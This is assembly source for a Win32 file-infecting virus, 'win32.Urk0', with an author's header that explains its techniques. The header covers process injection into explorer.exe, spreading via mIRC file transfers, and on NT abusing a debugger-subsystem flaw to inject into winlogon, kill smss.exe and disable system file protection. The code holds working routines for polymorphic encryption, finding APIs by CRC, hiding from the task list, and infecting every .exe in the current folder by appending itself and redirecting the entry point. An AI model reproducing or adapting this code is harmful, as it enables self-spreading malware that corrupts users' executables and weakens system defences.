```
;THIS IS A VIRUS SOURCE CODE.NOW,THIS FILE ITS NOT DANGER.IM NOT RESPONSABLE OF DAMAGES
;IN CASE YOU COMPILE AND LINK IT TO CREATE A EXECUTABLE.THIS CODE IS ONLY FOR ENTERTAIMENT
;AND EDUCATION.
;I KNOW THIS CODE COULD TO HAVE (AND IM 99% SURE IT HAS) BUGS. I CODED IT ONLY FOR
;FUN, I NO WANT THIS VIRUS INFECTED COMPUTERS UNLESS YOU DID IT FOR UR ELECTION SO
;IM NOT REALLY WORRIED COZ THIS VIRUS IS NOT DONE FOR CORRUPT A SYSTEM.
;
;win32.Urk0
;This is a Win32 virus.
;
;Win9x:
;It uses a method that i havent seen in other viruses.Second part of virus(where it
;polymorphs decryptor,infects,...) is descrypted and copied directly to other process
;that previously it creates(ill try it was a process created from a random file but for
;now it do it with explorer.exe) suspended.Then it unprotect mem of primary module of
;process with VirtualProtectEx and overwrite process mem with its code since entrypoint
;of new process.Then we reanude thread of created process so virus is executed in other
;process.This can be made MAX_DEPTH times.Explorer creates other process and inject there
;its code,and again and again and again...for MAX_DEPTH times.
;I think this difficults emulation and debugging.In addition if a
;memory monitor detects a virus behaviour in memory it detects virus as other file
;(for now explorer.exe).
;Note virus never infects explorer.exe in disk,only in memory,so if virus is searched in
;explorer.exe it is not found.In addition when i create new process i pass
;CREATE_NEW_PROCESS_GROUP flag so new process is created without father...
;suppostly there isnt relation between creator process and new process.
;In addition when virus is executing in explorer.exe it calls to RegisterServiceProcess
;so user doesnt see two explorer.exe in task list.
;With this method we return the control to host fastly becoz slow part of virus is executed
;currently with host becoz it is executing in explorer.exe where we are injected our code.
;First part of virus is encrypted.Decryptor is polimorphed.Key is changed with each generation.
;Polymorphic engine its not very complex.It interchanges registers used and inserts
;trash instructions.Trash uses recursively itself so we can find trash in this manner:
;
;xor reg32a,imm32a___
;add reg32b,imm32b_  |
;cli               | |
;clc               | |
;sub reg32b,imm32b_| |
;cli                 |
;cpuid               |
;...                       |
;xor reg32a,imm32a___|
;...
;
;I wanna do it better with a v2.0 of the virus :P
;Second part is encrypted with random key.Decryptor its not poly.However,virus doesnt
;modify its code directly becoz it,while is injecting code to explorer.exe,is
;unencrypting bytes before injecting.
;It uses EPO method too.Insert a jmp(and ill insert some antidebugging trickz too)
;in entrypoint of infected file(later it restores bytes overwrited).
;Apis are gotten by CRC.
;For infection it adds itself at end of last section.Increase size of file infected.
;It only infects .exe files.
;For now Urk0 doesnt have payload(i dont know if i ll add it :-m )
;In addition Urk0 has two manners of infection.It can infect files with explorer code
;encrypted or withouth encrypting.If it isnt encrypted it have per-process characteristics.
;It works in the same manner but in addition it hooks CreateFileA api.
;It always infects mirc.exe file with per-process characteristics becoz mirc.exe use
;CreateFileA to open files that it will send(with dcc) so ill infect files before sending
;and in this manner virus will arrive other computer ;)(With mirc.exe and others similar).
;If you read this code you will see i have spend a lot of bytes that i could have not
;spend it,becoz for now i have not optimizated the code.I must optimizate it and
;optmizate poly engine.
;Structure of code:
;
;      ---------------------------------------SVirus
;      ----------------------SCode
;         (Entry point 2)
;         Code executed
;         after injecting
;         in explorer.exe
;         Encrypted with random.
;           Note if this part is
;         not encrypted some code
;         here can be executed
;         before injecting to
;         explorer for
;         perprocess propose
;      ----------------------ECode
;         (Entry point 1)
;         Decryptor of code since
;         Encrypted to EVirus
;      ----------------------Encrypted
;         Here it creates process
;         explorer.exe and injects
```

```
;         code(unencrypting SCode
;         to ECode at same time it
;         write each dword) to
;         explorer.exe since entry
;         point of it.When it has
;         injected the code it reanude
;         explorer and infection part
;         and others important parts
;         are executed in explorer.exe
;         process.
;         Later it restore for EPO
;         overwrited bytes and jmp
;         to host
;      -------------------------------------EVirus
;
;WinNT:
;In NT machines virus works in a manner very different.In Nt,virus will try to get a
;handle to winlogon.exe with full privileges,using a flaw in dbgss implemented in smss.exe
;(you can see debploit flaw in august archives,Nt focus,www.securiteam.com).Using this flaw
;we inject our code in winlogon.Note that with this flaw we have a problem,when we try to get
;a handle to winlogon with debploit method,winlogon will terminate when our program
;terminate too,becouse our program set as debugger of winlogon,and winlogon as debuggee,
;so if we attach winlogon,when we terminate,it will terminate too.For this reason,winlogon
;code will kill smss.exe.Ok,this is a dramatic solution,however i think system will work
;very well without smss.exe.Smss.exe loads winlogon.exe and user mode part of win32 ss
;in memory,and when system hangs,it takes control and show typical blue screen.In addition,
;it have implemented dbgss so if we kill it,a lot of debugger will not run(mmm...is this a
;problem??? ;).I was working a lot of time in my system with smss.exe terminated and i think
;my system worked perfectly(i wasnt be able to use debuggers...only softice).
;well,when winlogon code kills smss.exe,it disables sfp with ratter and benny method(29a
;number 6).Later it gets a handle to explorer and injects the code there.In explorer,
;virus will infect current folder of explorer.exe in intervals of 60 seconds.
;Note virus use ModuleBase + 28h for infection mark.At this offset there are 5 reserved dwords
;in dos header.I think to put infection mark in this field is a few lame :P ... i could
;to have put it in second field of time date stamp or with others methods but im not worry
;for infection mark.

.586p
.model flat,stdcall

extrn ExitProcess:proc
extrn GetLastError:proc
extrn GetTickCount:proc
extrn GetModuleHandleA:proc
extrn OpenProcess:proc

;macros

;;;;;;;;;;;;;;;;;;;;;;
callz macro dir_call
db 0E8h
dd (dir_call - $ - 4)
endm
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
jmpz macro dir_call
db 0E9h
dd (dir_call - $ -4)
endm
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
CalcLenString macro
local loopin
push esi
dec esi
loopin:
inc esi
cmp byte ptr[esi],0
jne loopin
mov ecx,esi
pop esi
sub ecx,esi
endm
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
GezApi macro BaseKernel,ApiCRC,ApiNameLen
mov eax,BaseKernel
mov edx,ApiCRC
mov ebx,ApiNameLen
callz GetApi
endm
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
GezSyscall macro BaseNtdll,ApiCRC,ApiNameLen
```

```
GezApi BaseNtdll,ApiCRC,ApiNameLen
mov eax,[eax + 1]
endm
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
syscallz macro fc,paramz ;from Ratter's win2k.Joss
mov eax,fc
lea edx,[esp]
int 2eh
add esp,(paramz*4)
endm
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
Writez macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov  [esp],esp ;for storing number of writted bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,WriteMemoryProcessCRC,WMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;
Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov  [esp],esp ;for storing number of read bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,ReadMemoryProcessCRC,RMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;

.data

;some datas for first generation

kernel32dll db 'kernel32.dll',0
auxi dd 0
az db 'Sleep',0
azz db 'ContinueDebugEvent',0
.code
start:

;vvvvvvvvvvvvvvvvvvvvFIRST GENERATION CODE
jmpz jmpedSize

db '*Virus size'
virSize = EVirus - SVirus
db 0
dw virSize and 0FF00h
db virSize and 00FFh
db 0

jmpedSize:

;for getting apis crcs:
lea esi,az
CalcLenString
mov edi,ecx
call CRC32
lea esi,azz
CalcLenString
mov edi,ecx
call CRC32

;i unprotect code:
push offset kernel32dll
call GetModuleHandleA
push eax
mov  esi,offset SVirus
mov  ecx,EVirus - SVirus
xor  ebx,ebx
callz UnprotectMem
pop  eax
mov [kernel],eax
pushad
xor ebp,ebp
;ill test poly
callz Poly
mov eax,[CryptKey]
```

```
mov auxi,eax
popad
;I crypt necesary parts
call GetTickCount
or  eax,0FFFF0000h
mov ecx,((ECode - SCode)/4)-1
inc ecx
Cryptit:
dec ecx
xor dword ptr [SCode + 4*ecx],eax
or  ecx,ecx
jnz Cryptit

mov eax,auxi

callz DkRyPtIt_
DkRyPtIt_:
pop esi
add esi,Encrypted - DkRyPtIt_
mov ecx,((EVirus - Encrypted)/4)
GoGoGo_:
xor dword ptr [esi + ecx*4 - 4],eax
dec ecx
or  ecx,ecx
jnz GoGoGo_
jmpz MyEntryPoint

;^^^^^^^^^^^^^^^^^^^^FIRST GENERATION CODE


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;vvvvvvvvvvvvvvvvvvvSECOND GENERATION

SVirus:


;APIS NAMES CRCS AND LENGHTS

LoadLibraryACRC             equ 3fc1bd8dh
LLNameLen                   equ 12
CloseHandleCRC              equ 0b09315f4h
CHNameLen                   equ 11
FindFirstFileACRC           equ 0c9ebd5ceh
FFFNameLen                  equ 14
FindNextFileACRC            equ 75272948h
FNFNameLen                  equ 13
FindCloseCRC                equ 0d82bf69ah
FCNameLen                   equ 9
GetTickCountCRC             equ 5b4219f8h
GTCNameLen                  equ 12
WriteMemoryProcessCRC       equ 4f58972eh
WMPNameLen                  equ 18
ReadMemoryProcessCRC        equ 0f7c7ae42h
RMPNameLen                  equ 17
ResumeThreadCRC             equ 3872beb9h
RTNameLen                   equ 12
ExitProcessCRC              equ 251097CCh
EPNameLen                   equ 11
SetFileAttributesACRC       equ 156b9702h
SFANameLen                  equ 18
CreateFileACRC              equ 553b5c78h
CFNameLen                   equ 11
CreateFileMappingACRC       equ 0b41b926ch
CFMNameLen                  equ 18
MapViewOfFileCRC            equ 0A89b382fh
MVFNameLen                  equ 13
UnmapViewOfFileCRC          equ 391ab6afh
UVFNameLen                  equ 15
SetFileTimeCRC              equ 21804a03h
SFTNameLen                  equ 11
GetModuleHandleACRC         equ 0B1866570h
GMHNameLen                  equ 16
GetLastErrorCRC             equ 0d2e536b7h
GLENameLen                  equ 12
RegisterServiceProcessCRC   equ 3b5ef61fh
RSPNameLen                  equ 22
SetCurrentDirectoryACRC     equ 69b6849fh
SCDNameLen                  equ 20
GetCurrentDirectoryACRC     equ 0c79dc4e3h
GCDNameLen                  equ 20
GetWindowsDirectoryACRC     equ 0fff372beh
GWDNameLen                  equ 20
GetModuleFileNameACRC       equ 08bff7a0h
GMFNameLen                  equ 18
CreateProcessACRC           equ 0a851d916h
CPNameLen                   equ 14
```

```
Module32FirstCRC            equ 38891c00h
M32FNameLen                 equ 13
Module32NextCRC             equ 0f6911852h
M32NNameLen                 equ 12
CreateToolhelp32SnapShotCRC equ 0c1f3b876h
CT32SNameLen                equ 24
VirtualProtectExCRC         equ 5d180413h
VPNameLen                   equ 16
GetCurrentProcessCRC        equ 0d0861aa4h
GCPNameLen                  equ 17
OpenProcessTokenCRC         equ 0f9c60615h
OPTNameLen                  equ 16
LookupPrivilegeValueACRC    equ 0da87bf62h
LPVNameLen                  equ 21
AdjustTokenPrivilegesCRC    equ 0de3e5cfh
ATPNameLen                      equ 21
EnumProcessesCRC            equ 0509a21ch
EPSNameLen                      equ 13
EnumProcessModulesCRC       equ 0dea82ac2h
EPMNameLen                  equ 18
GetModuleInformationCRC     equ 0f2a84636h
GMINameLen                  equ 20
SuspendThreadCRC            equ 0bd76ac31h
STNameLen                   equ 13
FreeLibraryCRC              equ 0da68238fh
FLNameLen                   equ 11
GetVersionCRC               equ 4ccf1a0fh
GVNameLen                   equ 10
RasDialACRC                     equ 0b88da156h
RDNameLen                   equ 8
GetModuleBaseNameACRC       equ 1720513eh
GMBNNameLen                 equ 18
OpenProcessCRC              equ 0df27514bh
OPNameLen                       equ 11
ZwConnectPortCRC            equ 0cbaec255h
ZCPNameLen                      equ 13
NtConnectPortCRC            equ 0c88edce9h
NCPNameLen                      equ 13
ZwRequestPortCRC                equ 0e28aebd1h
ZRPNameLen                      equ 13
DbgUiConnectToDbgCRC        equ 09a51ac3ah
DUCTDNameLen                equ 17
DbgSsInitializeCRC          equ 0d198b351h
DSINameLen                      equ 15
DbgSsHandleKmApiMsgCRC      equ 2e9c4e99h
DSHKAMNameLen               equ 19
GetCurrentProcessIdCRC      equ 1db413e3h
GCPINameLen                 equ 19
GetCurrentThreadIdCRC       equ 8df87e63h
GCTINameLen                 equ 18
WaitForDebugEventCRC        equ 96ab83a1h
WFDENameLen                     equ 17
ContinueDebugEventCRC       equ 0d8e77e49h
CDENameLen                    equ 18
VirtualAllocExCRC             equ 0e62e824dh
VANameLen                       equ 14
CreateRemoteThreadCRC       equ 0ff808c10h
CRTNameLen                  equ 18
NtTerminateProcessCRC       equ 94fcb0c0h
NTPNameLen                  equ 18
ExitThreadCRC               equ 80af62e1h
ETNameLen                   equ 10
GetCurrentDirectoryWCRC     equ 334971b2h
GCDWNameLen                     equ 20
FindFirstFileWCRC               equ 3d3f609fh
FFFWNameLen                 equ 14
SleepCRC                        equ 0CEF2EDA8h
SNameLen                    equ 5



Kernel32CRC                 equ 204c64e5h ;CRC of 'kernel32' string


ERROR_NO_MORE_FILES         equ 18
PAGE_EXECUTE_READWRITE      equ 40h
MEM_COMMIT                  equ 00001000h
MEM_RESERVE                 equ 00002000h
STARTUPINFOSIZE             equ 68
PROCESSINFORMATIONSIZE      equ 16
CREATE_SUSPENDED            equ 4
DEBUG_PROCESS               equ 1
CREATE_NEW_PROCESS_GROUP    equ 200h

TH32CS_SNAPMODULE           equ 8
SNAPSHOT                    equ 16

;config constants
```

```
MAX_DEPTH                   equ 1   ;min depth,for now
INFECTION_PROBABILITY       equ 8   ;values 0 - 7...if value > 7 always infects.If 0 never.
PER_PROCESS_PROBABILITY     equ 8   ;values 0 - 7...if value > 7 never infects with per-process
                                              ;characteristic.If 0 always with per-process.
WORK_IN_NT                  equ 1   ;if WORK_IN_NT == 1,virus works in NT and try to do
                                              ;some specifics things for NT.If 0,virus exits if NT.


SCode:
;when we infect in memory the explorer process injecting our code the execution begins here

                        ;This code is encrypted with random key each 4 bytes
callz d_offsetz   ;first byte is E8000000h when uncrypted
d_offsetz:
pop ebp
sub ebp,offset d_offsetz
pop  eax
push eax
xor  ax,ax
add  eax,1000h
;eax -> a part of kernel32
SearchKernelz:
sub  eax,1000h
cmp  word ptr [eax],'ZM'
jne  SearchKernelz

mov  [ebp + kernel],eax

;we set our process as service process.
push eax
GezApi eax,RegisterServiceProcessCRC,RSPNameLen
push 1
push 0
call eax
pop eax

;we will setup a SEH frame and if a error occurs nobody know it :D

lea esi,[ebp + ExplorerEnd]
push esi
push dword ptr fs:[0]
mov fs:[0],esp          ;we set the SEH frame
                                ;note its not necessary our handler
                        ;restore SEH becoz we will terminate
                                ;the process

;we repeat the process of injection of code in explorer MAX_DEPTH times.When we have loaded
;and infected explorer at MAX_DEPTH time then it's executed file infection zone.
;I think it will be more difficult for avs with this trap.

cmp  dword ptr [ebp + ExplorerDepth],MAX_DEPTH
je   Explorer2
add dword ptr [ebp + ExplorerDepth],1
callz InjectToExplorer
GezApi eax,ExitProcessCRC,EPNameLen
push 0
call eax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;This code is executed in the last explorer.exe what we have injected our code

Explorer2:
;eax = Base of Kernel
;ebp = d_offset

mov dword ptr [ebp + ExplorerDepth],0 ;this is the last explorer injection

;now ill infect all files .exe in Current folder
callz InfectCurrentFolder

ExplorerEnd:
callz DoffEnd
DoffEnd:
pop ebp
sub ebp,offset DoffEnd
mov eax,[ebp + kernel]
;eax = kernel base
GezApi eax,ExitProcessCRC,EPNameLen
push 0
;eax -> ExitProcess
call eax
;;;;;;;;;;;;;;;;;;;;;;;

kernel        dd 0
CryptKey      dd 0
ExplorerDepth dd 0


FILETIME struct
```

```
FT_dwLowDateTime         dd              ?
FT_dwHighDateTime        dd              ?
FILETIME ends
WIN32_FIND_DATA:
WFD_dwFileAttributes     dd              ?
WFD_ftCreationTime       FILETIME
WFD_ftLastAccessTime     FILETIME
WFD_ftLastWriteTime      FILETIME
WFD_nFileSizeHigh        dd              ?
WFD_nFileSizeLow         dd              ?
WFD_dwReserved0          dd              ?
WFD_dwReserved1          dd              ?
WFD_szFileName           db   260  dup (?)
WFD_szAlternateFileName  db   16   dup (?)

;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;InfectCurrentFolder infects files with mask in files variable in current folder
;in:
;    none
;out:
;    none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

InfectCurrentFolder:

callz Poly ;we poly the decryptor overwriting code with new decryptor for
           ;the moment when we will infect a file

;here begins zone where we will infect files
;if all things are in order,current directory for memory-infected explorer
;is the same as file.exe that contains virus.

lea eax,[ebp + WIN32_FIND_DATA]
push eax
lea eax,[ebp + files]
push eax
mov eax,[ebp + kernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
mov [ebp + SearchHand],eax
jmpz TestTypeOfInfection

MoreFiles: ;)

callz Poly ;poly again so each infected file will be different
lea eax,[ebp + WIN32_FIND_DATA]
push eax
push dword ptr [ebp + SearchHand]
mov eax,dword ptr [ebp + kernel]
GezApi eax,FindNextFileACRC,FNFNameLen
call eax

TestTypeOfInfection:

or eax,eax
je EndCurrentFolderInfection
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
and eax,7
cmp eax,INFECTION_PROBABILITY ;probability of infection.By default always.
jge MoreFiles
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov ecx,eax
mov ebx,eax
rol ebx,cl
and ebx,7
xor eax,eax
cmp ebx,PER_PROCESS_PROBABILITY ;probability of per-process.By default never.
jge WithPerProcess
inc eax
WithPerProcess:
push eax
callz TestFile
or eax,eax
jnz PerProcessOrNoInfect
pop eax
GoInfectIt:
callz InfectIt
jmpz MoreFiles
PerProcessOrNoInfect:
dec eax
```

```
or eax,eax
jz ForcePerProcess
;if no force perprocess and no normal,then -1 and no infect so more files
pop eax
jmpz MoreFiles
ForcePerProcess:
pop ebx
jmpz GoInfectIt

EndCurrentFolderInfection:
ret

;;;;;;;;;;;;;;;;;;;;;;;;
files         db '*.exe',0
SearchHand    dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;InfectIt uses WIN_FIND_DATA for infecting file which information is contained in that struc
;in:
;   eax = 0 without encryption(but with perprocess enable)   eax = 1 with encryption(but
;                                                                                             no enabled perprocess)
;out:
;   none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
InfectIt:
mov [ebp + Encryption],eax
pushad
callz MapFile
or eax,eax
jz EndInfection
mov eax,[ebp + WFD_nFileSizeLow]
add eax,EVirus - SVirus
mov [ebp + FileInfectedSize],eax
mov ebx,[ebp + ViewHandle]
cmp word ptr [ebx],'ZM'
jne CloseAndBye
cmp word ptr [ebx + 8],4h
jne CloseAndBye
mov edi,[ebx + 3ch]
add edi,ebx
cmp word ptr [edi],'EP'
jne CloseAndBye
cmp word ptr [ebx + 28h],'Zv';my infection mark
je  CloseAndBye
mov ax,[edi + 16h]
test ax,2               ;yes IMAGE_FILE_EXECUTABLE_IMAGE
je   CloseAndBye
test ax,1000h     ;no IMAGE_FILE_SYSTEM
jne CloseAndBye
test ax,2000h     ;no IMAGE_FILE_DLL
jne CloseAndBye
mov ax,[edi + 5ch]
test ax,1         ;no IMAGE_SUBSYSTEM_NATIVE
jne CloseAndBye

;we have a file executable in PE format and not infected by this virus so ill continue
;with infection.In addition is not a system file.


mov edi,dword ptr [edi + 3ch];file alingment
mov dword ptr [ebp + FileAlignment],edi
AlignSize:
mov eax,[ebp + FileInfectedSize]
xor edx,edx
div edi
inc eax
;we divide size/alignment and inc result for knowing the new number of blocks
;and next we multiplicate number of blocks x size of block
mul edi
mov [ebp + WFD_nFileSizeLow],eax ;for in next mapping will be mapped file size + space for vir
callz CloseAll
callz MapFile                    ;with size to allocate virus
or eax,eax
jz EndInfection

;now we have file mapped with enought space at end of file to append there our virus ;)

mov   ebx,[ebp + ViewHandle]
mov   word ptr [ebx + 28h],'Zv';infection mark
mov   eax,[ebx + 3ch];lfanew
add   ebx,eax;ebx -> PE
mov   eax,[ebx + 28h]
mov   [ebp + OldEntryPoint],eax
xor   eax,eax
```

```
mov   ax,[ebx + 6];number of sections
mov   [ebp + Sections],eax
xor eax,eax
mov ax,word ptr [ebx + 14h]
add ebx,18h
add ebx,eax
mov ecx,[ebp + Sections]
dec ecx
mov [ebp + FirstSection],ebx
LastSection:
add ebx,28h
loop LastSection
;we have ebx -> last section
mov [ebx + 24h],0A0000020h ;section is executable,readable,writable and with code
mov eax,[ebx + 10h];size of raw data
add eax,[ebx + 0ch];add size + RVA of section.
add eax,MyEntryPoint - SVirus
;eax = New Entry Point
sub eax,dword ptr [ebp + OldEntryPoint]
sub eax,EPOCodeSize
mov [ebp + EPOrel32],eax
mov eax,[ebx + 10h];size of raw data
add eax,[ebx + 14h];add size + pointer to raw data of section.We are in the end of last section
                        ;We must copy there our code ;)
mov [ebp + EndLastSection],eax

mov esi,ebx

;now we must alignment section

mov eax,[esi + 10h];size of raw
add eax,EVirus - SVirus
mov edi,[ebp + FileAlignment]
xor edx,edx
div edi
inc eax
mul edi
mov [esi + 10h],eax;new sizeofrawdata
mov [esi + 8],eax;new VirtualSize
add eax,dword ptr [esi + 0ch];size + virtual address
mov ebx,[ebp + ViewHandle]
mov ecx,[ebx + 3ch];lfanew
add ebx,ecx;ebx -> PE
mov [ebx + 50h],eax;new size of image

EPOzone:

;well,we have modified executable for introducting our code.Here we can modify
;entry point for pointing to our code but i think EPO methods its more efective.

;first all i must search the entry point,but no when file is executing,i must search
;raw entry point,entry point in file.There i must copy EPOCode.

mov ecx,[ebp + Sections]
mov ebx,[ebp + FirstSection]
mov esi,[ebp + OldEntryPoint]

FindCodeSec:

mov eax,[ebx + 0ch]
add eax,[ebx + 10h];eax -> end of this section
cmp eax,esi
jg  FoundCodeSec
add ebx,28h
loop FindCodeSec

FoundCodeSec:

;ebx ->header of section with entry point

sub esi,dword ptr [ebx + 0ch]
add esi,dword ptr [ebx + 14h];raw_e_point = e_point - VASection + PointerToRawDataSection
mov [ebp + OldRawEntryPoint],esi
add esi,[ebp + ViewHandle]
push esi
lea edi,[ebp + EPORestoreBytes]
mov ecx,EPOCodeSize
push ecx
rep movsb
pop ecx
pop esi
lea edi,[ebp + SEPOCode]
xchg esi,edi
rep movsb

;now we have copied bytes for EPO to entrypoint and old bytes to EPORestoreBytes for
;restoring when we return to host
```

```
;now we must copy virus code (encrypting necesary parts) to EndLastSection

mov edi,[ebp + EndLastSection]
add edi,dword ptr [ebp + ViewHandle]
push edi
lea esi,[ebp + SVirus]
mov ecx,EVirus - SVirus
rep movsb
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
pop edi
or eax,0FFFF0000h
cmp dword ptr [ebp + Encryption],0
jne YesEncrypt
xor eax,eax
YesEncrypt:
mov ecx,((ECode - SCode)/4)-1
inc ecx
CryptitExplorerCode:
dec ecx
xor dword ptr [edi + 4*ecx],eax
or  ecx,ecx
jnz CryptitExplorerCode
add edi,Encrypted - SCode
mov eax,[ebp + CryptKey]
mov ecx,((EVirus - Encrypted)/4)-1
inc ecx
CryptitFirstCode:
dec ecx
xor dword ptr [edi + 4*ecx],eax
or  ecx,ecx
jnz CryptitFirstCode
CloseAndBye:
callz CloseAll
EndInfection:
popad
ret

;;;;;;;;;;;;;;;;;;;;;

FileHandle          dd 0
MappingHandle       dd 0
ViewHandle          dd 0
FileInfectedSize    dd 0
FileAlignment       dd 0
Sections            dd 0
FirstSection        dd 0
EndLastSection      dd 0
OldRawEntryPoint    dd 0
Encryption          dd 0

;;;;;;;;;;;;;;;;;;;;;;;;

SEPOCode:

db 0E9h ;rel jmp to our code
EPOrel32 dd 0
EEPOCode:
EPOCodeSize equ EEPOCode - SEPOCode

;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;

MapFile: ;it maps the file in WIN32_FIND_DATA
ChangeAttributesOfFile:
lea edi,[ebp + WFD_szFileName]
push 80h
push edi
mov eax,[ebp + kernel]
GezApi eax,SetFileAttributesACRC,SFANameLen
call eax
push 0
push 0
push 3
push 0
push 1
push 0C0000000h ;read and write access to file
lea eax,[ebp + WFD_szFileName]
push eax
mov eax,[ebp + kernel]
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc  eax
or   eax,eax
jnz  np1
ret
```

```
np1:
dec  eax
mov  [ebp + FileHandle],eax
push 0
mov  eax,[ebp + WFD_nFileSizeLow]
push eax
push 0
push 4
push 0
push dword ptr [ebp + FileHandle]
mov eax,[ebp + kernel]
GezApi eax,CreateFileMappingACRC,CFMNameLen
call eax
or   eax,eax
jz  CloseFile
mov [ebp + MappingHandle],eax
push dword ptr [ebp + WFD_nFileSizeLow]
push 0
push 0
push 000F001Fh
push eax
mov  eax,[ebp + kernel]
GezApi eax,MapViewOfFileCRC,MVFNameLen
call eax
or eax,eax
jz CloseMapping
mov [ebp + ViewHandle],eax
ret


;;;;;;;;;;;;;;;;;;;;;;

CloseAll:;close file opened with MapFile
push eax
mov eax,[ebp + kernel]
GezApi eax,UnmapViewOfFileCRC,UVFNameLen
push dword ptr [ebp + ViewHandle]
call eax
pop eax

CloseMapping:
push eax
mov eax,[ebp + kernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + MappingHandle]
call eax
pop eax

CloseFile:

RestoreAttributes:

push eax
lea eax,dword ptr [ebp + WFD_ftLastWriteTime]
push eax
lea eax,dword ptr [ebp + WFD_ftLastAccessTime]
push eax
lea eax,dword ptr [ebp + WFD_ftCreationTime]
push eax
push dword ptr [ebp + FileHandle]
mov eax,[ebp + kernel]
GezApi eax,SetFileTimeCRC,SFTNameLen
call eax
mov eax,[ebp + kernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + FileHandle]
call eax
pop eax

ret
;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;Poly creates a decryptor rutine overwriting code since MyEntryPoint to Encrypted
;
;in:
;   none
;out:
;   none
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Poly:
```

```
pushad
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov [ebp + CryptKey],eax
lea edi,[ebp + MyEntryPoint]
mov  ecx,eax
and  ecx,0000003Fh
push eax;random
and  eax,00000007h
cmp  al,4
jne  noesp1
inc  eax
noesp1:
mov  [ebp + esireg],eax
pop  eax;random
push eax
ror  eax,4
and  eax,00000007h
cmp  al,4
jne  noesp2
inc  eax
noesp2:
cmp  eax,dword ptr [ebp + esireg]
jne nosame
inc eax
cmp al,4
jne nosame
inc eax
nosame:
and  al,7
mov  [ebp + ecxreg],eax
mov  byte ptr [edi],0E8h
inc  edi
mov  dword ptr [edi],0h
add  edi,4
callz trash
callz zpop
pop   ecx;random
push  ecx
and   ecx,00003F00h
ror   ecx,8
callz trash
callz zadd
pop   ecx;random
rol   ecx,cl
and   ecx,00000007h
push  ecx
callz trash
callz zmov

pop   ecx;random2
push  edi;jnz must jump here
push  ecx
callz trash
callz zxor
pop   ecx
push  ecx
callz trash
callz zdec
pop   ecx
push  ecx
callz trash
pop   ecx
callz trash
callz zor
mov   word ptr [edi],850Fh ;jne rel32
inc   edi
inc   edi
pop   ecx; where jnz must jump
sub   ecx,edi
sub   ecx,4
mov   dword ptr [edi],ecx
add   edi,4
lea   ecx,[ebp + Encrypted]
sub   ecx,edi
callz trash
popad
ret

esireg dd 0
ecxreg dd 0

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;Trash generates unuseful instructions for decryptor
;in:
;   edi -> memory where function must write the trash code
```

```
;   ecx -> bytes to write
;out:
;   edi = initial edi + ecx
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
trash:
or ecx,ecx
jz NoTrash
pushad
callz randomize
